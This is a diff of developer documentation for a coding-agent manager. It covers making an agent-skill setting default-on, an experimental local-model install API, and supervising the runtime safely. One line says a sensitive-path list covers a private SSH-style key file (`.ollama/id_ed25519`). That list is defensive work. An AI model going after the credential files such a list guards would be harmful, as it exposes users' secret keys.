**Update 2026-11-08 (1.50.0)**: `agentSkillEnabled` is now **on by default** (owner decision:
"enable the codeman skill by default"), the flip §2.2 planned for after dogfooding. An absent
key means on in both readers (server `getAgentSkillEnabled()` and the App Settings switch, both
`!== false`); an explicit false is off. Existing installs that stored off are switched on once at
the first 1.50.0 start (every App Settings Save up to 1.49.0 wrote `false`); turning it off
afterwards sticks (`src/web/agent-skill-default-migration.ts`, a "Behaviour change" in the
release notes). To keep users' repositories clean, every managed copy
now carries a `.gitignore` of `*` (written once with `wx`, removed by uninstall only when it is
the last file left). Turning the setting off still sweeps nothing. The sections below record the
original default-off decision as it was made.
**Date**: 2026-08-08
**Scope**: Part 1 (agent skill) and Part 2 (wait primitives) were specified and built.
Parts 3 to 5 are captured so they are not lost, but remain deliberately deferred.
@@ -130,7 +119,7 @@ Install paths, in order of how a user gets it:
Setting name: `agentSkillEnabled`. Synced (not per-device), since it changes on-disk case
content rather than display. Default: **ON after the dogfooding phase, OFF in the first
release** (flipped to ON in 1.50.0, see the Status update at the top). Rationale for starting OFF: Claude Code loads every skill's name and description
release**. Rationale for starting OFF: Claude Code loads every skill's name and description
into context on every turn, so an always-on skill has a small permanent token cost, and we
should measure that we are buying something with it first.
@@ -554,7 +543,6 @@ without the wait endpoints, so the wait work goes first.
1. ✅ `skills/` at the repo root: accepted (built that way; the install one-liner depends on it).
2. ✅ `agentSkillEnabled` default: **OFF** for the first release, per §2.2's rationale (skills
cost context on every turn; measure before defaulting on). Flip later if dogfooding earns it.
**Flipped to ON in 1.50.0** (2026-11-08), with the copy made self-ignoring in git.
3. ✅ Both: global install via `npx skills add` / `codeman skill install`, AND per-case
auto-injection behind the (default-off) setting. Injection is add-only at session create and
marker-guarded, so a user-authored copy is never touched.
@@ -693,9 +681,9 @@ Built to the §2.6 file list, mirroring the statusLine mechanism throughout:
| ----- | ----- |
| `applyAgentSkill(casePath, enabled)` + `installAgentSkillInto` / `removeAgentSkillFrom` | `src/hooks-config.ts` |
| `codeman skill install` / `skill uninstall` (`--global` default, `--case <name>`) | `src/cli.ts` |
| `agentSkillEnabled` (SYNCED, default OFF; ON since 1.50.0) | `schemas.ts` (`SettingsUpdateSchema`), `getAgentSkillEnabled()` on `ConfigPort`/`server.ts`, checkbox in `index.html` + `settings-ui.js`; the one-time 1.50.0 boot migration of a stored false in `src/web/agent-skill-default-migration.ts` |
| `agentSkillEnabled` (SYNCED, default OFF) | `schemas.ts` (`SettingsUpdateSchema`), `getAgentSkillEnabled()` on `ConfigPort`/`server.ts`, checkbox in `index.html` + `settings-ui.js` |
| Injection call sites (Claude mode only) | `POST /api/sessions` next to `refreshStaleCodemanHooks`; `POST /api/quick-start` after the case-create/self-heal blocks (local + docker cases; remote skipped, its path lives on another host) |
| Tests | `test/agent-skill.test.ts` (unit, incl. the self-ignoring `.gitignore` against real git since 1.50.0), `test/quick-start.test.ts` (real server: default-off at first, default-on since 1.50.0 incl. a partial PUT and an explicit false, injection on create, shell-mode skipped), `test/agent-skill-setting-ui.test.ts` (the App Settings switch reads an absent key as on, and a device blob holding the old false follows the server), `test/agent-skill-default-migration.test.ts` (the boot migration: once per data dir, marker outside settings.json) |
| Tests | `test/agent-skill.test.ts` (10 unit), `test/quick-start.test.ts` (real server: default-off, PUT accepts key, injection on create, shell-mode skipped) |
Decisions worth keeping:
+92
View File
@@ -1676,6 +1676,98 @@ Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge cre
`GET /api/doctor[?category=core|office|other]` returns the `codeman doctor --json` report (`platform`, `summary`, `tools[]` with `status` `ok` \| `missing` \| `outdated` \| `skipped` \| `error`, `version`, `path`, `installHint`). The probe engine is synchronous, so it runs in a child process of the same entry script, never on the server's event loop (30 s timeout). It names install paths and versions, so it is admin only in multi-user mode (`403`). `400` for an unknown category, `500` if the child produces no report.
## Local model
`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, with which agent CLI, and where an install of one stands. Five verbs install a model, pause and continue the install, stop and start the model runtime, and remove everything again. It covers Apple silicon macOS only; anywhere else the GET is still a `200`, with verdict `none`, and nothing can be installed. How it works: [local-models.md](local-models.md).
**Experimental.** These routes and their payloads are labeled experimental: the fields below, the states, the error codes and the sentences may change or go in a MINOR or PATCH release (see [versioning-policy.md](versioning-policy.md), "What SemVer does NOT cover", item 3). Do not build on their shape yet.
Every route is admin only in multi-user mode (`403 FORBIDDEN`, answered before anything is probed, parsed or started): the GET names the host's hardware, and the verbs download and run a program, install an agent CLI and write the server-wide settings. There is no SSE event: the window polls the GET once a second while it is open.
| Method | Path | Body | Notes |
| -------- | -------------------------- | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `GET` | `/api/local-model` | none | `200` with `{ hardware, recommendation, catalogUpdated, install }`. `500 INTERNAL_ERROR` only when the recommendation itself fails, never for a failed probe. |
| `POST` | `/api/local-model/install` | `{ modelId, cli, context, acknowledgedBytes }` | Starts the one install job and answers at once; the job runs on in the server. `400 INVALID_INPUT` when the three choices are not a row the server offers right now. `409`: `job-running`, `already-installed`, `size-changed`. |
| `POST` | `/api/local-model/cancel` | none | Interrupts the step in flight; the job is `paused` at that step. `409 wrong-state` when no job is running. |
| `POST` | `/api/local-model/resume` | `{ newPort? }` (may be absent) | Continues a `paused` or `failed` job at the same step. `newPort: true` chooses another port first. `409`: `job-running`, `wrong-state`, `sessions-open` (`newPort` while live sessions use the model). |
| `POST` | `/api/local-model/runtime` | `{ action: "start" \| "stop", newPort? }` | `stop` stops the runtime and keeps it from starting at the next boot; `start` undoes that. `newPort: true` with `start` chooses another port and moves the saved endpoint to it. `409`: `job-running`, `wrong-state` (nothing is installed), `sessions-open` (`stop` or `newPort` while live sessions use the model: their agents keep calling the address they were started with). |
| `DELETE` | `/api/local-model` | `{ removeModel? }` (may be absent) | Stops the runtime, removes the saved endpoint, restores the settings flag when this feature switched it on and no other endpoint is saved, deletes the runtime; the model only with `removeModel: true`. `409`: `job-running`, `sessions-open`. |
Every verb answers `{ success: true, data: <install> }` with the `install` object (below) as it is after the verb. A refusal the feature names is a `409` whose envelope also carries the conflict:
```json
{
"success": false,
"error": "The download is 23.3 GB now. Check the sizes and confirm again.",
"errorCode": "CONFLICT",
"data": {
"reason": "size-changed",
"message": { "text": "The download is {size} GB now. Check the sizes and confirm again.", "vars": { "size": "23.3" } },
"expectedBytes": 23291770627,
"expectedGb": "23.3"
}
}
```
`data.reason` is `job-running`, `already-installed` (remove the installed model first), `size-changed` (with `expectedBytes` and `expectedGb`), `sessions-open` (with `sessions`, the names of the live sessions that use the model) or `wrong-state`. A `409 CONFLICT` without `data` means a config file that must not be overwritten (`settings.json` or `custom-model-hosts.json` does not parse); `error` names the fix.
`POST /api/local-model/install` also answers `400` when a saved model endpoint already uses the id `local-ollama` and was not created by this feature: rename or delete that endpoint first. The check is made before anything is downloaded. Every `400` the install names, and the `507 OPERATION_FAILED` of a first install on a full disk, carries its sentence as `data.message` (`{ text, vars }`, like a `409`), so a client can print it in its own language.
**Consent is bound to the size shown.** `acknowledgedBytes` must be the `installBytes` of the chosen row: the model download plus the runtime download while the runtime is not unpacked yet. The server compares it with its own total before anything starts and answers `409 size-changed` when they differ, so a click confirms exactly the size the person saw.
A probe that fails is an answer, not an error: a server that is not on macOS, or a Mac whose `sysctl` call failed or timed out, still gets a `200`, and `hardware.source` says what was read.
`data`:
- `hardware`: what the server sees of the machine it runs on.
- `platform`, `arch`: `process.platform` and `os.arch()` of the server process. `arm64: true` means the machine is Apple silicon whatever `arch` says; `translated: true` means the server process runs under Rosetta.
- `memBytes`, `memGb` (the bytes as decimal GB text, `"51.5"` for a 48 GB Mac) and `memClassGb` (the memory size the Mac is sold as: 16, 32, 48; `0` when the size could not be read). `memClassGb` is what to show as the installed memory: it is the number on the box and in About This Mac. It is the one size here that is not decimal GB.
- `chip`, `model`, `macosVersion`, `macosMajor`, `wiredLimitMb` (`0` means not set), `freeDiskBytes` and `freeDiskGb` (free space on the filesystem of Codeman's data directory). Each is absent when it could not be read.
- `source`: `sysctl` (the one bounded `sysctl` call answered), `os-fallback` (macOS, but that call failed: memory, architecture, the chip name and the free disk space come from Node, and nothing only `sysctl` knows, such as `arm64`, `translated`, `model`, `macosVersion`, `macosMajor` or `wiredLimitMb`, is present) or `not-probed` (not macOS, nothing was run).
- `recommendation`:
- `verdict`: `ok`, `limited` or `none`. `limited` is a statement about the Mac: no model with 12 billion parameters or more fits its memory, so what it can run handles small edits and questions and does not replace a cloud model. It is judged on every model that fits, before the free disk space is looked at and whatever the pick is. With `ok` the pick can still be a small model (a larger one may be slow, have no speed figure or have no room on the disk); `notes` then says so.
- `reason`, present only with `none`: `not-macos`, `intel`, `memory`, `disk`, `macos` (too old) or `no-harness` (no agent CLI that can be connected to a local model is installed or installable). `memory` has three sentences: nothing fits at all (slot `memory`, the size the Mac is sold as), a model fits but only below the context length an agent CLI needs (slots `budget` and `need`, so a Mac that misses by a little reads as that), and the memory size could not be read (no slot).
- `headline` and `notes[]`: `{ text, vars? }`. `text` is an English sentence that may hold `{placeholder}` slots, and `vars` carries the slot values as text. Notes, in order: the pick is a small model although larger ones fit (verdict `ok` only); a model that fits the memory was left out because its download would not leave 10 GiB free on the disk (slots `model` and `missing`: the best-ranked such model and the GB to free up); nobody tested the pick on a Mac like this one.
- `pick` (absent with `none`) and `alternatives[]` (at most four, best first; empty with `none`), each one model at one context length with one agent CLI. The order: a pair tested on a Mac like this one first, then speed (`ok` before `unknown` before `slow`), then the model's rank, the agent CLI's rank and the larger context. The memory fit decides whether a row is listed and what it says (`fit`, `tag`), it does not sort, so a model is offered at the largest context it fits at. A model whose download would leave less than 10 GiB free on the disk is not listed (an unknown free disk space excludes nothing):
- `modelId` (`name:tag`), `modelLabel`, `license`, `paramsB` (parameters in billions), `context` (tokens);
- `cli`, `cliLabel`, `cliInstalled` (`false`: the CLI is not on this machine yet but can be installed without administrator rights), `slowFirstTurn?`;
- `needBytes` and `needGb` (memory the model needs at that context, at its PEAK: the weights, what stays held per token of context, what the runner holds beside both, and what it takes for a moment while a long prompt is processed), `needSource` (`measured`: the figures were measured for this model on a Mac; `estimated`: they are another model's), `downloadBytes` and `downloadGb`, `budgetShare` (need divided by `budgetBytes`, rounded to three decimals);
- `installBytes` and `installGb`: the whole download a click on Install starts for this row, `downloadBytes` plus the runtime archive while the runtime is not unpacked. It is the number to send as `acknowledgedBytes`;
- `harnesses[]`: every agent CLI the model can be run with at this context, best first: `{ cli, cliLabel, installed, installCommand?, slowFirstTurn? }`. `installCommand` is the literal command the install would run for a CLI that is not installed (the release's own stock command), for the consent screen. The first entry is the one the flat `cli` fields name;
- `tag?`: `{ kind, label }`, the one tag of the row. `kind` is `tested`, `best`, `tight`, `slow` or `small`;
- `fit`: `good` (up to 0.85 of the budget) or `tight` (up to 0.98), with its label `fitLabel`;
- `speed`: `ok`, `slow` (under 10 tokens per second) or `unknown`, with `speedLabel` (absent for `ok`) and `tokensPerSecond` (rounded to one decimal, absent for `unknown`; `speed` is decided on the unrounded figure, so `10` can be `slow`). `unknown` means the chip is in no row of the catalogue's chip table, or the catalogue has no speed figure for the model: a speed is never guessed;
- `tested`: we ran this model with this CLI on a Mac like this one (same chip, same memory size). Its `tokensPerSecond` is then the speed measured in that run.
- `budgetBytes` and `budgetGb`: the memory a model may use on this Mac (`0` for `not-macos` and `intel`, where none is computed). `budgetSource` is `estimated` (computed from the installed memory: all there is before the runtime ran), `wired-limit` (taken from `iogpu.wired_limit_mb`) or `measured` (the device total the runtime itself printed when it started; the GET uses it from the first install on).
- `catalogUpdated`: ISO date on which the catalogue's rows were last checked.
- `install`: where the install stands and what can be done about it.
- `state`: `idle` (nothing installed, no job), `installing`, `paused` (Cancel or a server restart stopped the job; it never continues without a click), `failed` or `installed`.
- `step` and `steps[]` (present with `installing`, `paused` and `failed`): the step the job is in or stopped in, and the steps of this job in order, out of `runtime`, `model`, `verify`, `agent`, `connect`. `agent` is absent from a job whose agent CLI was already installed.
- `progress` (while a download runs, and as it stood on a paused or failed job): `completedBytes`, `totalBytes`, `completedGb`, `totalGb`, and while it moves `bytesPerSecond`, `mbPerSecond` (whole decimal megabytes per second as text) and `secondsLeft`. During the `model` step both byte figures come from the download's own lines, not from the catalogue.
- `error` (with `failed`; with `installed` only when something blocks a session): `{ code, message: { text, vars? }, next, nextModel?, detail? }`. `next` is the ONE action that helps: `retry` (`POST .../resume`), `other-port` (`POST .../resume` or `.../runtime` with `newPort: true`), `next-model` (choose again; `nextModel` is `{ modelId, modelLabel }` when the server knows one), `start` (`POST .../runtime`) or `remove` (`DELETE`). `detail` is raw text for the curious (an installer's last lines), not translated.
- `model` (`{ id, label }`), `cli`, `cliLabel`, `context`: the choice of the job or of the installation. `port`: the runtime's loopback port, once chosen.
- `running`: the runtime Codeman started is alive right now. A runtime the person stopped is `running: false` with no `error`.
- `loaded` (with `installed`): what the runtime reported when the job checked the loaded model: `context`, `memoryBytes`, `memoryGb`, `onGpu`.
- `endpointId` (with `installed`): the saved model endpoint a session is started on, with `cli`.
- `developerTools`: `present`, `missing` (the Mac has no Xcode or Command Line Tools, so macOS will offer to install them the first time an agent runs `git` or `python3`) or `unknown`.
- `runtime`: `{ version, installed, downloadBytes, downloadGb, unpackedGb }`. `downloadBytes` is `0` once the runtime is unpacked.
- `folder`: the absolute folder everything of this feature is kept in.
- `actions[]`: exactly what the server accepts right now, out of `install`, `cancel`, `resume`, `start`, `stop`, `remove` and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs and nothing blocks a session).
Error codes (`install.error.code`), each with one next step:
| Next step | Codes |
| ------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `retry` | `runtime-download-failed`, `runtime-damaged`, `runtime-unpack-failed`, `runtime-start-failed`, `disk-full`, `pull-failed`, `context-not-applied`, `load-failed`, `probe-unfinished`, `harness-failed`, `endpoint-id-taken`, `connect-failed`, `internal` |
| `start` | `runtime-stopped` (the runtime crashed three times in a row and is no longer restarted) |
| `other-port` | `port-in-use` |
| `next-model` | `model-not-found`, `does-not-fit`, `no-tool-call` |
| `remove` | `model-changed` (the model's digest is no longer the one stored at install time; a session on it is refused) |
Starting a session on the saved endpoint goes through the existing custom model launch (`POST /api/quick-start` with `customModel`, or `POST /api/sessions/:id/custom-model`). For the endpoint this feature manages both answer `OPERATION_FAILED` with one sentence while the runtime is not running, when the model's digest changed, or for a model other than the installed one.
Every computed size a person reads travels twice: as bytes, and as decimal GB text without the unit (`"needGb": "29.6"`). Show the text and add the unit; do not divide the bytes yourself, so one request never shows two different roundings. The installed memory is the exception named above: show `memClassGb`.
## Voice dictation
Browser dictation transcribed through this server's Claude Code login, i.e. the
+34 -2
View File
@@ -167,7 +167,7 @@ Spawn commands are pinned as literal strings in `test/cli-registry-spawn-golden.
Further detail: `stop`/`blocked` now fire for **`claude` and `deepseek`** (`shell` installs no hooks either); asking for one explicitly on any other mode is a 400 and the default set silently drops them. `deepseek` qualifies because the DeepSeek Harness TUI REPORTS idle/working/blocked to its supervisor and Codeman is that supervisor (`deepseek-status-shim.ts`), so its signals are definitive rather than inferred, and `hooksAvailableForMode()` in `session-wait-registry.ts` is the one place that rule lives (see the External CLI modes section for the per-session `statusReporting` wrinkle and the two dsh traps baked into the skill preamble: boot `idle` landing ~300 ms before the composer paints, and `sendwait` asking for `wait:"stop,exit"`). That is also why `deepseek` is the one non-claude mode the skill drives like claude: `spawn_workers alpha beta:deepseek` is a mixed fleet in one call, and `sendwait`/`last_text` need no variant. ⚠️ **`blocked` alone has a second source**: a CLI with no hook for it can declare the dialogs it blocks on (`capabilities.workDetect.blockedLine`, codex), and `blockedSignalAvailable()` (hooks OR that field) is the rule for that one signal; `stop` stays hooks-only, since nothing on a screen says a turn ended. A screen-read `blocked` is a LEVEL the server keeps reading (`Session.screenBlocked`), so the wait route answers it immediately (`currentSignalForWait()`) when the caller asked for `blocked`, and only then: such a pane is also `idle`, and `until=idle` must keep answering `idle`. See [Screen-read blocked dialogs](#screen-read-blocked-dialogs-codex).
**Packaging as the `skills/codeman` agent skill.** The primitives are packaged as the `skills/codeman` agent skill, installable three ways: via `codeman skill install [--case <name>]` / `skill uninstall`; as a Claude Code plugin from the repo's own marketplace (`/plugin marketplace add Ark0N/Codeman` + `/plugin install codeman@codeman`, see the root-files note in CLAUDE.md); or auto-injected into a case on session create behind `agentSkillEnabled` (SYNCED, default ON since 1.50.0, default OFF before). ⚠️ An ABSENT key means on in BOTH readers, the server's `getAgentSkillEnabled()` and the App Settings switch (both `!== false`): a page that showed an absent key as off would write `false` on the next Save of any other setting. Only an explicit false is off. Existing installs that stored off are switched on once at the first 1.50.0 start; turning it off afterwards sticks. Every App Settings Save up to 1.49.0 wrote `false` (the switch loaded an absent key as off and Save sends the whole form), so without that the default would never reach anyone who had ever saved. ⚠️ The migration (`migrateAgentSkillDefault()`, `web/agent-skill-default-migration.ts`) runs from `WebServer.start()` before the first settings read (and the 2 s `readSettings()` cache, which it drops after a write) and before listen, never in test mode, and writes only through `mutateSettingsFile()`; a `settings.json` that does not parse is left alone with one log line and no marker, so the next start after the fix tries again (and switches on an off saved between the fix and that start, since the migration has not run yet). It cannot tell a deliberate off from the old default (accepted, a "Behaviour change" in the release notes). ⚠️ It stores `true` rather than deleting the key: `loadAppSettingsFromServer()` overwrites only the synced keys the server HAS, so every device that saved on 1.49 would keep its own `false`, show the switch off and write `false` back on its next Save (`true` also wins in a browser still running a cached settings-ui.js); for a server with no key the page drops the device's copy too. ⚠️ Its "done" marker is its own file, `agent-skill-default-migrated.json` in the data dir via `dataPath()`, checked before anything is read and written only after the settings write landed (a crash between the two is harmless: the next start finds `true`). Never a settings key: `GET /api/settings` never returns it, so no Save can send it back (the `.strict()` `SettingsUpdateSchema` would 400) or drop it (which would re-arm the migration and switch a later off back on), and it is outside `CONFIG_BACKUP_FILES`, so once the migration has run, a restored settings.json, even a pre-1.50 one holding `false`, stays as restored. One data dir is one server, so in multi-user mode it runs once for the server. A device whose pages were all loaded before the upgrade still holds the old `false` in its localStorage blob until a page load refreshes it, and an App Settings Save from such a page writes that back (accepted; the release note says to reload). Tests: `test/agent-skill-default-migration.test.ts`, `test/agent-skill-setting-ui.test.ts`. Turning it off sweeps nothing. ⚠️ Every managed copy ignores itself in git, which is what makes the default safe in a user's repository: `installAgentSkillInto()` writes `<copy>/.gitignore` holding `*` FIRST (so a `git status` mid-install never lists it), with `wx` (a file already there is the user's and is never overwritten; a symlink at the name is refused), and outside the content list `readAgentSkillSource()` compares, so it never appears in `skills/codeman/` or the plugin mirror. A copy injected before 1.50.0 gains it on its next install (`refreshed`). `removeAgentSkillFrom()` deletes it only when it is the last entry left and holds exactly `*`, so a user's extra files there stay ignored. The repository's own `.gitignore` and `info/exclude` are never touched for it (the managed-worktree exclude in git-worktrees.ts is a separate, older line and still added). Measured against Claude Code 2.1.319: its skill discovery runs `git check-ignore` only on directories at or above `.claude/skills` (the nested-skills walk), never on a skill folder or its SKILL.md, and a `*` inside `codeman/` ignores the folder's contents, not the folder, so the skill still loads; codex 0.162 has no gitignore check on skills. Checked live on 2026-11-08 with the ignore file in place: Claude Code 2.1.319 (`--debug` reports `project: 1`), Codex 0.162 (app-server `skills/list`), OpenCode 1.3.0 (`opencode debug skill`) and Grok 1.0.52 (`grok --trust inspect`) all list `codeman`; agy, dsh, gemini and omp were not measured. ⚠️ Install and uninstall refuse (`symlink`) a link at the copy, at its `skills/` parent, and at a folder INSIDE the copy (`reference/`, `agentSkillSubdirIsSymlink()`): a cloned repository can commit one and a Docker case's container can plant one in the bind-mounted workspace, and a write or unlink of `referenLine truncated
**Packaging as the `skills/codeman` agent skill.** The primitives are packaged as the `skills/codeman` agent skill, installable three ways: via `codeman skill install [--case <name>]` / `skill uninstall`; as a Claude Code plugin from the repo's own marketplace (`/plugin marketplace add Ark0N/Codeman` + `/plugin install codeman@codeman`, see the root-files note in CLAUDE.md); or auto-injected into a case on session create behind `agentSkillEnabled` (SYNCED, default OFF). ⚠️ WHERE it lands is registry data, `capabilities.agentSkillDir` (absent with `agentSkillInjection: true` = `.claude/skills`): `.claude/skills/codeman` for claude, `.agents/skills/codeman` for every other CLI that takes it (pi does not: a project skill triggers its trust prompt). `agentSkillDir` is a CLOSED enum (`AGENT_SKILL_DIRS`, schema.ts) because `clis.json` can set it and it decides where the server writes. The per-session preamble is seeded for every local session whose CLI takes the skill, and `codeman skill uninstall --case` removes the copy from every distinct registry directory (`registryAgentSkillDirs()`, cli.ts). ⚠️ Plugin skills are namespaced, so a Claude Code holding BOTH the plugin and a user-level or per-case copy lists the skill twice, `codeman` and `codeman:codeman` (measured 2026-09-14: neither shadows the other, both work); the docs tell users to pick one route.
Injection is ADD-ONLY at create, marker-owned (`applyAgentSkill` in `hooks-config.ts` never touches an unmarked user copy) and refuses symlinks (this repo's own `.claude/skills/codeman` is a symlink to the source, which the injector must never write through). ⚠️ Claude Code loads a same-named USER-LEVEL skill (`~/.claude/skills/codeman`, written once by `codeman skill install` with no `--case`) over the per-case copy, and nothing used to refresh it: a stale Aug-9 user copy shadowed every fresh injection (2026-08-14: agents ran the old recipes, spawned workers serially and lost their lineage arcs), so session create now also refreshes a marker-owned user copy (`refreshUserAgentSkill`; refresh-only, never installs, foreign/symlink refused).
@@ -229,7 +229,7 @@ History: before the tree, every pair got a U-bridge bezier hanging below the str
**Title and composition.** `deriveAutoSessionName()` strips CSI/control bytes, refuses slash commands by the `/^\/[a-z][a-z0-9_:-]*(\s|$)/i` shape (a path has a second slash where the whitespace should be, so `/home/me/notes.txt what is this` is a prompt) and `!` shell escapes, cuts at the first sentence terminator only past 8 code points ("e.g. fix this now" is not "e.g."), drops a trailing full stop, and caps at 72 code points on a word boundary. `composeAutoSessionName()` prepends the placeholder (`w3-myapp: fix the login redirect`) and fits the result into `MAX_SESSION_NAME_LENGTH` in UTF-16 units, the unit the rename route caps in.
**Opt-in, and the listener orders its checks for cost.** The prompt lands in the tab name, `mux-sessions.json`, every `session:updated` broadcast, the TUI, both home screens and `/api/search` (which matches on `sessionName`), while Read My Mind deliberately keeps prompts 0600 and out of search because prompts can carry secrets; so `autoNameSessions` is synced and default OFF, like `approvalsInboxEnabled` and `readMyMindEnabled`. The listener checks `nameSource` and derives the title BEFORE reading `settings.json`, so an already-named session costs nothing per prompt.
**Opt-in, and the listener orders its checks for cost.** The prompt lands in the tab name, `mux-sessions.json`, every `session:updated` broadcast, the TUI, both home screens and `/api/search` (which matches on `sessionName`), while Read My Mind deliberately keeps prompts 0600 and out of search because prompts can carry secrets; so `autoNameSessions` is synced and default OFF, like `agentSkillEnabled`, `approvalsInboxEnabled` and `readMyMindEnabled`. The listener checks `nameSource` and derives the title BEFORE reading `settings.json`, so an already-named session costs nothing per prompt.
**`nameSource` also decides what claude is told to call the conversation.** `--name` is the prompt-box label, the `/resume` picker entry and the terminal title at once, and a pinned title stops Claude generating its own, so by default only a `manual` name is passed (`Session.cliPinnedName`); pinning the `w1-myapp` placeholder gave every conversation of a case the same `/resume` entry, because `_nextCaseSessionStartNumber()` numbers from the highest OPEN tab and restarts once a case's tabs are closed. The opt-in synced `pinCliSessionName` (default OFF) pins every non-blank tab name for users who want the CLI labels to match their tabs; it is read fresh at every claude create and respawn (`readPinCliSessionNameEnabled()`, hooks-config.ts, like `readPlanUsageTelemetryEnabled()`), so a toggle applies from the next spawn with no restart. ⚠️ Its cost: Claude stops generating its own titles for those sessions, and a rename holds only until the next turn, because a pane spawned with `--name` re-appends its in-memory title after every turn (`claude-session-title.ts`); a server restart re-attaches the live pane without respawning it. A rename through `PUT /api/sessions/:id/name` is carried into `/resume` by appending the `custom-title` row `/rename` writes (`claude-session-title.ts`), for local transcripts only: a remote pane's lives on the remote host and a docker pane's inside the container. The route returns early on an unchanged name, because the Session Options field saves on blur and recomposes the same placeholder, which would otherwise flip it to `manual` and re-pin it.
@@ -694,6 +694,38 @@ Either way the actual launch (`runCustomModelEntry`) routes through `run()` itse
⚠️ **The loading banner shows the REAL backend log line, not a guess, and has no countdown or auto-timeout at all.** `getLatestLlamaSwapLogLine()` holds one `GET /api/events` SSE connection open per endpoint (confirmed live to stay open indefinitely — read past 220KB over 8s with no `done`; idle-closed after 30s via `pruneIdleLlamaSwapLogTails`, same 20s sweep as the swap-displacement check above), parsing `logData` frames and keeping only `source: "upstream"` (the real `llama-server` process's own stdout) lines, never `source: "proxy"` (llama-swap's own request-access log). ⚠️ `GET /logs` — the endpoint this feature's own first cut targeted, since the name suggested it — was confirmed live to carry ONLY the proxy log and never a single backend line, even seconds after a real, verified model swap; caught and corrected by a live check before merge, not after. The banner itself dropped its size-scaled expected-time estimate and matching auto-timeout (a guess dressed up as a fact that could kill a genuinely slow load partway through on slower hardware) for a generic hardware/model-size disclaimer plus a user-driven **Cancel** button (`_showCenterStatus`'s `onCancel` option, a real button distinct from the plain "×" close glyph an `'error'`-type banner gets) that ends the wait and closes the session on the user's own call rather than a guessed deadline.
### Local model install
**A model that runs on this Mac** (`src/local-model/`, `src/config/local-model-catalog.ts`, routes `src/web/routes/local-model-routes.ts`; EXPERIMENTAL; guide `docs/local-models.md`): the server looks at the Mac it runs on, says which local coding model fits it, and installs one: a pinned runtime it supervises, the model, the checks, the coding agent, and one saved model endpoint. The read side (`hardware.ts`, the catalogue, the pure `recommend()`) is described in the root `CLAUDE.md`; this section is the install.
**The layout** is one pure function (`localModelPaths()`, `paths.ts`): `<data dir>/local-model/` holds `runtime/ollama-<version>/` (plus its `.tgz.partial` and `.unpack` while it is fetched), `models/` and `home/`; `<data dir>/local-model.json` is the state file. ⚠️ Every path comes from `dataPath()` through that function and NONE is ever read back from the state file (which holds no path), so a state file cannot point a delete anywhere. ⚠️ Nothing is written or deleted outside `local-model/` except the state file and the two writes of the connect step. The runtime's `HOME` is the private `home/` (measured to work), so its key pair lands there and the user's own `~/.ollama` is never created, read or removed; `home/` and a `.ollama/id_ed25519` anywhere are on the sensitive-path list.
**The pin** (`OLLAMA_RUNTIME_PIN`, `runtime.ts`) is a COMPILED constant: version, URL, size, sha256. ⚠️ No file, setting, env var or request may supply any part of it: a hash that comes from the same writable place as the URL pins nothing. The archive is streamed to `*.partial` while it is hashed, continued with a Range request (3 bounded retries), refused when it grows past the pinned size, and the hash is compared BEFORE `/usr/bin/tar` unpacks anything into a temporary folder that is then renamed.
**Supervision** (`createRuntimeSupervisor()`): the runtime is a NON-detached child, started at boot once a model is installed and enabled, restarted at most 3 times in a row, SIGTERMed at shutdown beside `stopDeepSeekWeb()`. ⚠️ Its environment comes from the pure `runtimeEnv()` ALLOWLIST (PATH, the private HOME, TMPDIR, LANG, the proxy variables, and exactly `OLLAMA_HOST=127.0.0.1:<port>`, `OLLAMA_MODELS`, `OLLAMA_CONTEXT_LENGTH`, `OLLAMA_NO_CLOUD=1`, `OLLAMA_KEEP_ALIVE=10m`, `OLLAMA_NUM_PARALLEL=1`, `OLLAMA_MAX_LOADED_MODELS=1`, plus the llama.cpp memory settings `OLLAMA_KV_CACHE_TYPE=q8_0`, `OLLAMA_FLASH_ATTENTION=1`, `LLAMA_ARG_CACHE_RAM=1024`, `LLAMA_ARG_CTX_CHECKPOINTS=8`, which the catalogue's `llamacpp` rows are computed for, so the two change together): never `process.env` whole (it carries `CODEMAN_PASSWORD`, and a user's own `OLLAMA_ORIGINS=*` would open the port to every web page). ⚠️ The port is chosen ONCE by binding (11435 across 20; 11434 belongs to a runtime the user may run) and stored; it is never searched again on a later start, because it is part of the saved endpoint's URL. ⚠️ Pid and port are in the state file: a listener on the port that answers `/api/version` and whose pid runs a binary under OUR runtime folder is our own orphan (a server that was killed leaves one: a child is not ended by its parent's death) and is adopted or replaced; ANY other listener is `port-in-use`, never something to talk to. ⚠️ The supervisor never writes the state file: it reports through `onChange`, and the job stores what it reports. ⚠️ Under vitest nothing spawns and nothing is fetched unless a test injects it.
**The budget is measured.** The runtime prints the device total in its log line "inference compute" (`total="37.4 GiB"`); `parseInferenceComputeTotal()` reads it, the job stores it and judges the chosen model against it (`modelFitsBudget()`) BEFORE the model is downloaded; from then on the GET recommends with `budgetSource: 'measured'`. One consent covers the whole install: the sizes that were confirmed do not change, so a model that no longer fits is a failure with the next model, not a second question.
**The job** (`install-job.ts`) is a pure reducer (`reduceInstallJob()`) over three tables in that file (`INSTALL_STATE_TABLE`, `INSTALL_STEP_TABLE`, `INSTALL_TRANSITIONS`), driven by one service per process (`getLocalModelService()`). States: `idle`, `installing`, `paused`, `failed`, `installed`; steps in order: `runtime`, `model`, `verify`, `agent`, `connect` (`agent` is left out when the coding agent is installed). ⚠️ An event the transition table does not list is REFUSED by returning the same object, which the service answers with 409 `wrong-state`; add a transition to the table, never a special case to the service. ⚠️ ONE job at a time: verbs run on one queue, so two installs sent together cannot both find the state free. ⚠️ A job the state file still calls `installing` when the process has none was interrupted by a restart: it becomes `paused` the first time anything looks (`boot()`, a GET or a verb), and NOTHING continues without a click. `shutdown()` therefore writes nothing: it aborts the step and leaves `installing` in the file. ⚠️ An interrupted step is never recorded as failed, whatever its last call answered (an aborted fetch looks like a network error): the job checks its own signal before it writes `failed`. ⚠️ Every step is idempotent, because Resume and "Try again" re-enter the step the job stopped in. ⚠️ Cancel in the `connect` step is honoured only before the first write: once the two writes began they finish, so the pair is never left half done. ⚠️ The state file (`state-store.ts`) has ONE writer, serialized, temp file + rename, mode 0600, and reading is TOTAL (a file that does not parse, another schema, or a state that lacks a member it needs reads as idle): it holds nothing of the user, so it is replaced rather than refused, unlike `settings.json`. ⚠️ Progress is kept in memory and written at most every few seconds and when the job pauses or fails; the window reads the live figure. A 23 